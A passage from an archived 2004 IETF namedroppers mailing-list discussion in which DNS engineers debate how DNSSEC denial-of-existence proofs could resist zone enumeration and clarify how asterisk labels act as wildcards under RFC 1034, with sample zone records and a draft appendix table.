HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Wed, 01 Sep 2004 11:14:52 +0200." <20040901111452.7276c683.olaf@ripe.net> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <13717.1094752235.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk > opportunity to state their concluding argument in not more than 20 > lines of text. Zone file enumeration is a deployment obstacle for DNSSEC and it should be made no easier than it is without DNSSEC. I'd also like to steal from Ed Lewis' excellent set of items to avoid (sorted kind of top down): o Exposition of any existing names (regardless of data owned) o Breaking namespace invariants ("muddying up the name space") or namespace consistency o Opening attacks against positive answers or against authenticated denial of RRSet existence o Exposition of more than a very limited number of not existing names o Protocol incompatibilities other than TCR o Enforcing major operational efforts by those satisfied with NSEC o Enabling replay attacks for authenticated denial As long as complexity allows, zone enumeration avoidance may be optional since not only the structured {IN-ADDR,IP6,E164}.ARPA zones but also the majority of zones containing no more than @, "www" and maybe "mail" won't probably need it. Defining a set of reasonable prerequisites (e.g. "no wildcards", "delegation only", etc) is acceptable. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 07:58:10 +1000 Lines: 35 Sender: owner-namedroppers@ops.ietf.org References: <200409091750.i89HoaV13719@grimsvotn.TechFak.Uni-Bielefeld.DE> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 00:17:08 2004 Return-path: <owner-namedroppers@ops.ietf.org> In-reply-to: Your message of "Thu, 09 Sep 2004 19:50:35 +0200." <200409091750.i89HoaV13719@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk I doubt there is a perfect solution that will solve everyones problems. There may need to be a suite of solutions that the zone administrator can choose between. DNSSEC and DNS itself is a set of engineering tradeoffs. DNSSECbis just changes the the current set of tradeoffs. Spoofing (DNS) vs enumeration (DNSSEC/DNSSECbis) I dislike the hashing solutions as it introduces namespace pollution and doesn't allow all existing DNS zones to be signed. I can live with online signing though I don't believe that NSEC white lies is the best way to do this. If we have to have online signing then we should look for a better way to do this than NSEC white lies. I believe we can introduce a new type of zone signing and have no impact on DNSSECbis servers. The zones would be treated as unsigned by DNSSECbis. This would give the zone operator the choice of spoofable results, enumeration or online signing. I don't believe that the other tradeoffs are the way to go. We already have online signing for secure updatable zones. Mark -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Olaf M. Kolkman" <olaf@ripe.net> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 09:46:42 +0200 Organization: RIPE NCC Lines: 34 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 10:01:40 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: namedroppers@ops.ietf.org In-Reply-To: <4140870E.1060804@algroup.co.uk> X-Mailer: Sylpheed version 0.9.11 (GTK+ 1.2.10; i686-pc-linux-gnu) X-RIPE-Spam-Level: X-RIPE-Spam-Status: N 0.000410 / 0.0 / 0.0 / disabled X-RIPE-Signature: 6072112d39f6379566d31753480bb10c Precedence: bulk On Thu, 09 Sep 2004 17:38:38 +0100 Ben Laurie <ben@algroup.co.uk> wrote: > So, I guess, yes, allow them, but the first sentence of wildcard-clarify > should be "Yes, you can have a * in the middle of a name, BUT IT ISN'T A > WILDCARD". Somewhere in this thread Kevin used the terms "wildcard" and "asterix-label". I think that using these two terms brings a lot of clarification. The way I read the thread is that we may get consensus on: Allowing for an asterix-label anywhere in a domain name, while only asterix-labels at the most significant position (or the left hand side) of a domain name are interpreted as wildcards by the search algorithm, is an interpretation of the scripture that is in line with its spirit of 1034. Am I way out of line with that statement? -- Olaf ---------------------------------| Olaf M. Kolkman ---------------------------------| RIPE NCC -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 11:17:54 +0100 Lines: 21 Sender: owner-namedroppers@ops.ietf.org References: <200409092158.i89LwAMr043142@drugs.dv.isc.org> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 12:30:34 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <200409092158.i89LwAMr043142@drugs.dv.isc.org> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 10 September 2004 07:58 +1000 Mark Andrews <Mark_Andrews@isc.org> wrote: > I dislike the hashing solutions as it introduces namespace > pollution and doesn't allow all existing DNS zones to be signed. ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ At the risk of annoying Olaf, but for the purposes of getting a common understanding of all our position, could you elaborate on the bit underlined by carrets? (i.e. either it's a new point or I've completely missed something). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Marcos Sanz/Denic <sanz@denic.de> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 13:22:56 +0200 Lines: 27 Sender: owner-namedroppers@ops.ietf.org References: <4B0E54D7D55764813E707CF9@[192.168.100.25]> Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 13:34:11 2004 Return-path: <owner-namedroppers@ops.ietf.org> In-Reply-To: <4B0E54D7D55764813E707CF9@[192.168.100.25]> To: namedroppers@ops.ietf.org X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 X-MIMETrack: Serialize by Router on notes/Denic(Release 6.5.2|June 01, 2004) at 10.09.2004 13:22:58, Serialize complete at 10.09.2004 13:22:58 Precedence: bulk On 01 September 2004 11:14 +0200 "Olaf M. Kolkman" <olaf@ripe.net> wrote: > I want to close this thread by giving every participant the > opportunity to state their concluding argument in not more than 20 > lines of text. Overcoming my original reluctance to give a summary of my position, because the chairs did not privately contact me to do so *lol*, here it goes: The current list of requirements ( http://www.links.org/dnssec/requirements.txt) reflects my expectations for a signed proof of non-existence (modulo my remarks sent privately to the authors 3 weeks ago: ICMP_ECHO_REQUEST), so I won't list the requirements here again. IMHO some of them are less and some are more relevant, but it has repeatedly been said that we are still in the phase of outspeaking requirements, and we all know that a solution will probably imply a trade-off among them. Best, Marcos -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Mark Andrews <Mark_Andrews@isc.org> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 23:25:42 +1000 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <8F9004FBC1275CACC920E1D1@[192.168.100.25]> Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 15:41:03 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Alex Bligh <alex@alex.org.uk> In-reply-to: Your message of "Fri, 10 Sep 2004 11:17:54 +0100." <8F9004FBC1275CACC920E1D1@[192.168.100.25]> Precedence: bulk > > > --On 10 September 2004 07:58 +1000 Mark Andrews <Mark_Andrews@isc.org> > wrote: > > > I dislike the hashing solutions as it introduces namespace > > pollution and doesn't allow all existing DNS zones to be signed. > ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ > > At the risk of annoying Olaf, but for the purposes of getting a common > understanding of all our position, could you elaborate on the bit > underlined by carrets? (i.e. either it's a new point or I've completely > missed something). > > Alex If I have a zone with domainnames/zonename that are almost maximal length the addition of the hash causes the resulting domainnames to exceed maximimal length. -- Mark Andrews, ISC 1 Seymour St., Dundas Valley, NSW 2117, Australia PHONE: +61 2 9871 4742 INTERNET: Mark_Andrews@isc.org -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Jim Reid <jim@rfc1035.com> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 14:59:36 +0100 Lines: 16 Sender: owner-namedroppers@ops.ietf.org References: <Mark_Andrews@isc.org> Cc: Alex Bligh <alex@alex.org.uk>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 16:06:09 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: Message from Mark Andrews <Mark_Andrews@isc.org> of "Fri, 10 Sep 2004 23:25:42 +1000." <200409101325.i8ADPgP7041933@drugs.dv.isc.org> Precedence: bulk >>>>> "Mark" == Mark Andrews <Mark_Andrews@isc.org> writes: Mark> If I have a zone with domainnames/zonename that are Mark> almost maximal length the addition of the hash causes the Mark> resulting domainnames to exceed maximimal length. Another potential problem with the current hashing proposals is that a hash could collide with a label for an existing name. ie Suppose the hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo already exists as a delegation point or CNAME. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 10:26:10 -0400 Lines: 59 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 16:40:36 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <20040910094642.4fc59c65.olaf@ripe.net> To: "Olaf M. Kolkman" <olaf@ripe.net> Precedence: bulk At 9:46 +0200 9/10/04, Olaf M. Kolkman wrote: >On Thu, 09 Sep 2004 17:38:38 +0100 >Ben Laurie <ben@algroup.co.uk> wrote: > >> So, I guess, yes, allow them, but the first sentence of wildcard-clarify >> should be "Yes, you can have a * in the middle of a name, BUT IT ISN'T A >> WILDCARD". > > >Somewhere in this thread Kevin used the terms "wildcard" and >"asterix-label". I think that using these two terms brings a lot of >clarification. Maybe the phrase for a "wildcard" ought to be a "synthesis source." >The way I read the thread is that we may get consensus on: > >Allowing for an asterix-label anywhere in a domain name, while only >asterix-labels at the most significant position (or the left hand >side) of a domain name are interpreted as wildcards by the search >algorithm, is an interpretation of the scripture that is in line with >its spirit of 1034. > > >Am I way out of line with that statement? I need some clarification (no pun intended): Let's say I have this in my zone: example.com. SOA ... NS localhost. * TXT 1 bar.* TXT 2 *.bar.* TXT 3 If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? I think the answer for all three is "yes" (no trick questions intended;)). I.e., can both *.example.com and *.bar.*.example.com be wildcards (synthesis sources)? -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: "Scott Rose" <scottr@nist.gov> Subject: RE: more wild cards Date: Fri, 10 Sep 2004 11:13:17 -0400 Lines: 83 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd67674b7a39@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 17:25:22 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: <namedroppers@ops.ietf.org> X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) In-reply-to: <a06020407bd67674b7a39@[192.168.1.100]> Importance: Normal X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 X-NIST-MailScanner: Found to be clean X-MailScanner-From: scottr@nist.gov Precedence: bulk > -----Original Message----- > From: owner-namedroppers@ops.ietf.org > > > >Somewhere in this thread Kevin used the terms "wildcard" and > >"asterix-label". I think that using these two terms brings a lot of > >clarification. > > > Maybe the phrase for a "wildcard" ought to be a "synthesis source." > Clunky but descriptive. I would recommend it for this thread. > >The way I read the thread is that we may get consensus on: > > > >Allowing for an asterix-label anywhere in a domain name, while only > >asterix-labels at the most significant position (or the left hand > >side) of a domain name are interpreted as wildcards by the search > >algorithm, is an interpretation of the scripture that is in line with > >its spirit of 1034. > > > > > >Am I way out of line with that statement? > > I need some clarification (no pun intended): > > Let's say I have this in my zone: > > example.com. SOA ... > NS localhost. > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 > > If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? > If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > I think the answer for all three is "yes" (no trick questions intended;)). > > I.e., can both *.example.com and *.bar.*.example.com be wildcards > (synthesis sources)? I would think "Yes" for the 3 questions, and the last question. My read on 1034 and the wildcard discussion is that only the leftmost '*' indicates a synthesis source. Any '*' as a label in a multi-label string is just that: a label. In the name "*.bar.*.example.com" - *.bar.*.example.com ^ ^ | Just a character. synthesis source. Hope that comes out in the formatting... Scott > > -- > -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- > Edward Lewis +1-703-227-9854 > ARIN Research Engineer > > "I can't go to Miami. I'm expecting calls from telemarketers." - > Grandpa Simpson. > > -- > to unsubscribe send a message to namedroppers-request@ops.ietf.org with > the word 'unsubscribe' in a single line as the message text body. > archive: <http://ops.ietf.org/lists/namedroppers/> > -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 15:59:40 +0100 Lines: 19 Sender: owner-namedroppers@ops.ietf.org References: <6282.1094824776@gromit.rfc1035.com> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 17:25:24 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Jim Reid <jim@rfc1035.com>, Mark Andrews <Mark_Andrews@isc.org> In-Reply-To: <6282.1094824776@gromit.rfc1035.com> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk --On 10 September 2004 14:59 +0100 Jim Reid <jim@rfc1035.com> wrote: > Another potential problem with the current hashing proposals is that a > hash could collide with a label for an existing name. ie Suppose the > hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo > already exists as a delegation point or CNAME. Let's append ".*" to each hash label to ensure it doesn't collide then. (joke). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Edward Lewis <edlewis@arin.net> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 11:36:13 -0400 Lines: 87 Sender: owner-namedroppers@ops.ietf.org References: <a06020407bd64c0ca0a9b@[192.136.136.102]> <6191.1094692472@munnari.OZ.AU> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" Cc: Edward Lewis <edlewis@arin.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 17:53:01 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Sender: edlewis@127.0.0.1 In-Reply-To: <6191.1094692472@munnari.OZ.AU> To: Robert Elz <kre@munnari.OZ.AU> Precedence: bulk Asking for clarification... At 8:14 +0700 9/9/04, Robert Elz wrote: > | This opens the protocol to places it's not been, so there's no danger > | to old code. > >No. It doesn't. The extra '*' labels don't magically work as >wildcards, the lookup algorithm in 4.3.2 or 1034 would continue >unchanged. So, looking at an example I used in another message, *.example.com is not a wildcard (synthesis source) because there's a *.bar.*.example.com? >The text that was in Appendix A of the wildcard draft is certainly >not needed, not that, or anything like it. And explain the way >that wildcard lookups get done (with a liberal sprinkling of the words >from 1034 that explain how a '*' is an RR generator, and a complete >quashing of the notion that there is any kind of name pattern matching >happening - there isn't). Do you think the text in Appendix A is wrong? Just to make sure the text is preserved in the archives, here is Appendix A: Appendix A: Subdomains of Wild Card Domain Names In reading the definition of section 2 carefully, it is possible to rationalize unusual names as legal. In the example given, *.example. could have subdomains of *.sub.*.example. and even the more direct *.*.example. (The implication here is that these domain names own explicit resource records sets.) Although defining these names is not easy to justify, it is important that implementions account for the possibility. This section will give some further guidence on handling these names. The first thing to realize is that by all definitions, subdomains of wild card domain names are legal. In analyzing them, one realizes that they cause no harm by their existence. Because of this, they are allowed to exist, i.e., there are no special case rules made to disallow them. The reason for not preventing these names is that the prevention would just introduce more code paths to put into implementations. The concept of "closest enclosing" existing names is important to keep in mind. It is also important to realize that a wild card domain name can be a closest encloser of a query name. For example, if *.*.example. is defined in a zone, and the query name is a.*.example., then the closest enclosing domain name is *.example. Keep in mind that the closest encloser is not eligible to be a source of synthesized answers, just the subdomain of it that has the first label "*". To illustrate this, the following chart shows some matches. Assume that the names *.example., *.*.example., and *.sub.*.example. are defined in the zone. QNAME Closest Encloser Wild Card Source a.example. example. *.example. b.a.example. example. *.example. a.*.example. *.example. *.*.example. b.a.*.example. *.example. *.*.example. b.a.*.*.example. *.*.example. no wild card a.sub.*.example. sub.*.example. *.sub.*.example. b.a.sub.*.example. sub.*.example. *.sub.*.example. a.*.sub.*.example. *.sub.*.example. no wild card *.a.example. example. *.example. a.sub.b.example. example. *.example. Recall that the closest encloser itself cannot be the wild card. Therefore the match for b.a.*.*.example. has no applicable wild card. Finally, if a query name is sub.*.example., any answer available will come from an exact name match for sub.*.example. No wild card synthesis is performed in this case. -- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- Edward Lewis +1-703-227-9854 ARIN Research Engineer "I can't go to Miami. I'm expecting calls from telemarketers." - Grandpa Simpson. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Ben Laurie <ben@algroup.co.uk> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 19:16:04 +0100 Lines: 30 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> <a06020407bd67674b7a39@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 20:28:17 2004 Return-path: <owner-namedroppers@ops.ietf.org> User-Agent: Mozilla Thunderbird 0.6 (Windows/20040502) X-Accept-Language: en To: Edward Lewis <edlewis@arin.net> In-Reply-To: <a06020407bd67674b7a39@[192.168.1.100]> X-Enigmail-Version: 0.84.2.0 X-Enigmail-Supports: pgp-inline, pgp-mime Precedence: bulk Edward Lewis wrote: > Let's say I have this in my zone: > > example.com. SOA ... > NS localhost. > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 > > If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? > If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? > > I think the answer for all three is "yes" (no trick questions intended;)). I agree. -- ApacheCon! 13-17 November! http://www.apachecon.com/ http://www.apache-ssl.org/ben.html http://www.thebunker.net/ "There is no limit to what a man can do or how far he can go if he doesn't mind who gets the credit." - Robert Woodruff -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Peter Koch <pk@TechFak.Uni-Bielefeld.DE> Subject: Re: thesaurus attack Date: Fri, 10 Sep 2004 20:50:40 +0200 Lines: 41 Sender: owner-namedroppers@ops.ietf.org References: <a06020409bd677918a675@[192.168.1.100]> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 20:57:57 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk owned process doing -bs X-Authentication-Warning: grimsvotn.TechFak.Uni-Bielefeld.DE: pk@localhost didn't use HELO protocol To: namedroppers@ops.ietf.org In-reply-to: Your message of "Fri, 10 Sep 2004 11:36:13 EDT." <a06020409bd677918a675@[192.168.1.100]> X-Organization: Uni Bielefeld, Technische Fakultaet X-Phone: +49 521 106 2902 Content-ID: <16942.1094842238.1@grimsvotn.TechFak.Uni-Bielefeld.DE> Precedence: bulk Edward Lewis <edlewis@arin.net> wrote: > So, looking at an example I used in another message, *.example.com is > not a wildcard (synthesis source) because there's a > *.bar.*.example.com? I'd say it is as long as there are RRSets owned by *.example.com, which was the case in your example. Now if you left out the ``TXT 1'' RR from > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 there'd be a '*' label as an empty non-terminal. To avoid empty terminals, this should not instantiate '*.example.com' as a wildcard. However, that conflicts with step 3 of the algorithm in 1034. > Appendix A: Subdomains of Wild Card Domain Names Applying the split terminology 'asterisk label' vs. wildcard could clarify a lot here. > b.a.*.*.example. *.*.example. no wild card [...] > Recall that the closest encloser itself cannot be the wild card. Therefore > the match for b.a.*.*.example. has no applicable wild card. Applying the rule "it's just a star" I find this difficult to understand and inconsistent with the idea that the wildcard covering all subtrees. What about *.*.example. as a QNAME? That would be covered by closest encloser *.example. and *.*.example.com as a wildcard source. -Peter -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Simon Josefsson <jas@extundo.com> Subject: Re: dictionary attack on nameservers Date: Fri, 10 Sep 2004 20:50:58 +0200 Lines: 37 Sender: owner-namedroppers@ops.ietf.org References: <Mark_Andrews@isc.org> <6282.1094824776@gromit.rfc1035.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 20:58:07 2004 Return-path: <owner-namedroppers@ops.ietf.org> X-Injected-Via-Gmane: http://gmane.org/ To: namedroppers@ops.ietf.org Lines: 30 X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: c494102a.s-bi.bostream.se User-Agent: Gnus/5.110003 (No Gnus v0.3) Emacs/21.3.50 (gnu/linux) Cancel-Lock: sha1:Uq0cPsVHhwyIfkZoM74frgWAVas= Precedence: bulk Jim Reid <jim@rfc1035.com> writes: > Another potential problem with the current hashing proposals is that a > hash could collide with a label for an existing name. ie Suppose the > hash of the A record for jim.foo is alex.jim.foo but alex.jim.foo > already exists as a delegation point or CNAME. There are at least two solutions to that problem. The first is to use salting to make sure there are no collisions. The second one is to place the NSECbis record in a separate name space. For example: jim.foo IN A alex.jim.foo IN CNAME ... alex._no.foo IN NSECbis .... The second solution introduce new issues, like decreasing the length of the owner name by 3 bytes compared to naive hash based NSECbis. However, the second solution also has additional advantages. You can delegate the ._no. zone, to serve all NSECbis records from separate machines, which can be useful for dynamic NSECbis signing. Thanks, Simon PS. All of this has been mentioned before. It seems like a process failure that we keep repeating these discussions. -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org Fri Dec 29 10:46:06 2006 From: Alex Bligh <alex@alex.org.uk> Subject: Re: more wild cards Date: Fri, 10 Sep 2004 20:04:31 +0100 Lines: 31 Sender: owner-namedroppers@ops.ietf.org References: <413920C7.3000809@daimlerchrysler.com> <a06020407bd5ce15f1169@[192.168.1.100]> <a06020401bd5c29d82510@[192.168.1.100]> <27579.1094135350@munnari.OZ.AU> <3659.1094156279@munnari.OZ.AU> <18901.1094415765@munnari.OZ.AU> <413C692C.1060702@algroup.co.uk> <a06020411bd63a804f192@[192.168.1.100]> <413F02ED.70506@algroup.co.uk> <a06020406bd64beea9a38@[192.136.136.102]> <413F17FB.1010907@algroup.co.uk> <a0602040dbd64e0c58974@[192.136.136.102]> <4140870E.1060804@algroup.co.uk> <20040910094642.4fc59c65.olaf@ripe.net> <a06020407bd67674b7a39@[192.168.1.100]> <4141EF64.5030206@algroup.co.uk> Reply-To: Alex Bligh <alex@alex.org.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Cc: "Olaf M. Kolkman" <olaf@ripe.net>, namedroppers@ops.ietf.org, Alex Bligh <alex@alex.org.uk> X-From: owner-namedroppers@ops.ietf.org Fri Sep 10 21:12:13 2004 Return-path: <owner-namedroppers@ops.ietf.org> To: Ben Laurie <ben@algroup.co.uk>, Edward Lewis <edlewis@arin.net> In-Reply-To: <4141EF64.5030206@algroup.co.uk> X-Mailer: Mulberry/3.1.5 (Win32) Content-Disposition: inline Precedence: bulk > Let's say I have this in my zone: > > example.com. SOA ... > NS localhost. > * TXT 1 > bar.* TXT 2 > *.bar.* TXT 3 > > [A] If the query is for "foo.bar.star.example.com, TXT" is the answer "1"? > [B] If the query is for "foo.bar.*.example.com, TXT" is the answer "3"? > [C] If the query is for "foo.*.example.com, TXT" is the answer NXDOMAIN? And just for further clarity: [D] if the query is for "bar.star.example.com, TXT", the answer, like [A] is "1" (not "2") [E] if the query is for "bar.*.example.com, TXT", the answer is "2" Am I right? (I think [A] & [D] are are the MARID questions though I'm not following MARID). Alex -- to unsubscribe send a message to namedroppers-request@ops.ietf.org with the word 'unsubscribe' in a single line as the message text body. archive: <http://ops.ietf.org/lists/namedroppers/> From owner-namedroppers@ops.ietf.org 